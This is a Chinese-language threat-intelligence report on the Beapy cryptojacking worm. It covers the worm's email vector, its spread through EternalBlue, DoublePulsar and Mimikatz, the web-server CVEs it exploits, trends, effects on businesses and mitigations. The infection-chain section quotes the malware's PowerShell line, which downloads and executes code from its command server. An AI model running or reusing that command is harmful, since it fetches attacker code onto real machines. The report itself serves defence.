自2019年1月以来，赛门铁克研究团队首次发现了一种名为Beapy的Cryptojacking攻击行动。Cryptojacking是一种网络攻击方式，黑客通过在网站中加入恶意代码的方式将挖矿程序植入用户的电脑，非法调用用户的硬件资源进行“挖矿”。Beapy通过利用“永恒之蓝”漏洞和窃取硬编码凭证在网络上快速传播。此次攻击行动主要针对中国的企业，自今年3月初以来一直呈现增长势头。
Beapy (W32.Beapy)是一种基于文件的coinminer，它使用电子邮件作为初始感染载体。在2018年初，Cryptojacking的出现频率曾到达了顶峰，之后就逐渐在走下坡路，但对一些威胁行为者来说，Cryptojacking仍然是他们攻击的重要手段，比如到了2019年，中国企业就成了他们的主要目标。
在Beapy的攻击目标中，几乎所有的受害者都是企业(图1)。Beapy可能是2018年Bluwimps蠕虫(MSH.Bluwimps)攻击趋势的延续，即Cryptojacking的重点开始由对个人转向对企业。虽然当前我们没有证据表明这些攻击是有针对性的，但Beapy的功能表明，它可能是专门为了在企业网络中传播所设计的。
图1.Beapy的感染程度对比-企业与个人
我们之前在对勒索软件的研究中发现，在2018年，尽管总体勒索软件感染率下降了20%，但企业中的勒索软件感染率却增加了12%。企业似乎越来越成为网络犯罪的焦点。
Beapy对亚洲企业的影响最大，超过80%的受害者在中国，剩下的分布在韩国、日本和越南等地。
图2.Beapy在不同国家/地区的感染率
感染链
Beapy感染的初始媒介是电子邮件，其中包含了一份恶意Excel文档附件。当用户打开附件后，DoublePulsar后门（Backdoor.Doublepulsar）会被下载到用户机器上。与EternalBlue一样，DoublePulsar也是由Shadow Brokers（黑客组织，曾泄露大批Windows漏洞以及漏洞利用工具）泄露的，并且曾在2017年被用于WannaCry勒索软件攻击行动中。DoublePulsar能在受感染的计算机上打开后门并远程执行代码。EternalBlue则利用Windows SMB协议中的漏洞允许文件在网络中横向传播。
安装DoublePulsar后，就会执行PowerShell命令，并在将coinminer下载到目标计算机之前与Beapy命令和控制（C＆C）服务器进行联系。根据我们遥测数据显示，2019年2月15日为检测到的最早迹象，在此样本中，对PowerShell命令解码后发现了以下内容：
IEX (New-Object Net.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN)这是与Beapy C＆C服务器相连的设备。通过执行一些PowerShell命令下一个载门罗币coinminer。当Beapy传播到网络上的其他计算机时，会重复此过程。
从表面上看，Beapy会先利用未安补丁的机器在网络上立足，然后使用EternalBlue传播到其他机器上去。但对EternalBlue的利用并不是Beapy唯一的传播机制，它还使用凭证窃取工具Hacktool.Mimikatz来从受感染的计算机上收集凭据，并进一步传播到网络中安装了补丁的机器上。Beapy还使用硬编码的用户名和密码列表来尝试跨网络传播，这种方法类似于Bluwimps蠕虫。Bluwimps曾在2017年和2018年间使用coinminers感染了数千台企业机器。
Web服务器
我们还在面向公众的Web服务器上发现了Beapy的早期版本，该蠕虫试图传播到连接到该服务器的计算机，其中一种方法就是生成它试图感染的IP地址列表。
在Web服务器上看到的Beapy是恶意软件的早期版本，用C语言而不是Python编写。早期版本也包含了用于凭据收集的Mimikatz模块，以及EternalBlue漏洞利用功能。
在此版本中，Beapy还试图利用Apache Struts远程执行漏洞（CVE-2017-5638），此漏洞在2017年出了相应补丁，此外，它还利用了Apache Tomcat（CVE-2017-12615）和Oracle WebLogic Server（CVE-2017-10271）中的公开漏洞。在我们观察到的这个web服务器泄露事件中，攻击尝试是从2月初开始的，在3月13日则首次观察到与Beapy的C&C服务器的连接。针对此web服务器的活动一直持续到4月初。
总的来说，Beapy活动自3月初以来一直在增加。
图3.检测到的Beapy活动呈显著增加趋势
背后的信息
虽然在2018年cryptojacking活动事件下降了52%，但不可否认的是，这仍然是网络犯罪分子感兴趣的领域。从cryptojacking的总体数据来看，2019年3月cryptojacking的尝试攻击次数不到300万次，与2018年2月的峰值相比有很大的下降（当时有800万次），但这仍然是一个巨大的数值。
图4.2018年1月至2019年3月间的cryptojacking活动
Beapy是一个基于文件的coinminer，这跟以往的情况有些不一样，因为我们在过去看到的大多数加密活动都是使用基于浏览器的coinminer进行的，这一方式之所以流行，是因为它降低了入侵的门槛，哪怕补丁完善的机器也能成为感染的目标，另外，这一方式跟2017年9月推出Coinhive货币挖掘服务息息相关，它对cryptojacking的增长中发挥了关键作用，因为这项服务使任何人都能轻易地进行货币挖掘。而后来Coinhive服务的关闭也可能是基于浏览器的cryptojacking下降的原因之一。
除了这些因素之外，基于文件的coinminer也比基于浏览器的coinminer具有明显的优势，因为前者可以更快地挖掘加密货币。门罗币曾是cryptojacking最常开采的加密货币，在2018年贬值了近90％，因此，为了能跑赢贬值速度，挖掘效率越高的方式越受网络犯罪分子的欢迎。
图5。基于文件的coinminer与基于浏览器的coinminer的盈利能力比较
对企业的影响
虽然cryptojacking可能不像勒索软件那样更具破坏性，但它仍可能对公司的运营产生重大影响。
cryptojacking对企业的潜在影响包括:
· 设备性能的下降，可能会影响员工工作效率并导致生产力下降
· 电池过热
· 设备老化、无法使用，导致IT成本上升
· 电力使用量增加而导致成本增长，以及基于CPU使用量计费的云计算业务
企业需要确保自己的网络免受各种安全威胁。
缓解方案
· 企业需要多重防御系统，以防止任何特定技术或保护方法中的单点故障。包括端点、电子邮件和web网关保护技术的部署，以及防火墙和漏洞评估解决方案。始终将这些安全解决方案与最新的保护功能保持同步。
· 教育任何使用设备或网络的人，敦促他们对来自陌生来源的电子邮件和未知附件保持谨慎。
· 对员工进行教育，让他们知道电脑出现coinminer的可能迹象，如果存在应立即通知相应部门。
· 监视设备上的电池使用量，如果发现可疑的使用量激增，则对其扫描看是否存在coinminer。
· 安装最新补丁，使用强密码并启用双因素身份验证。
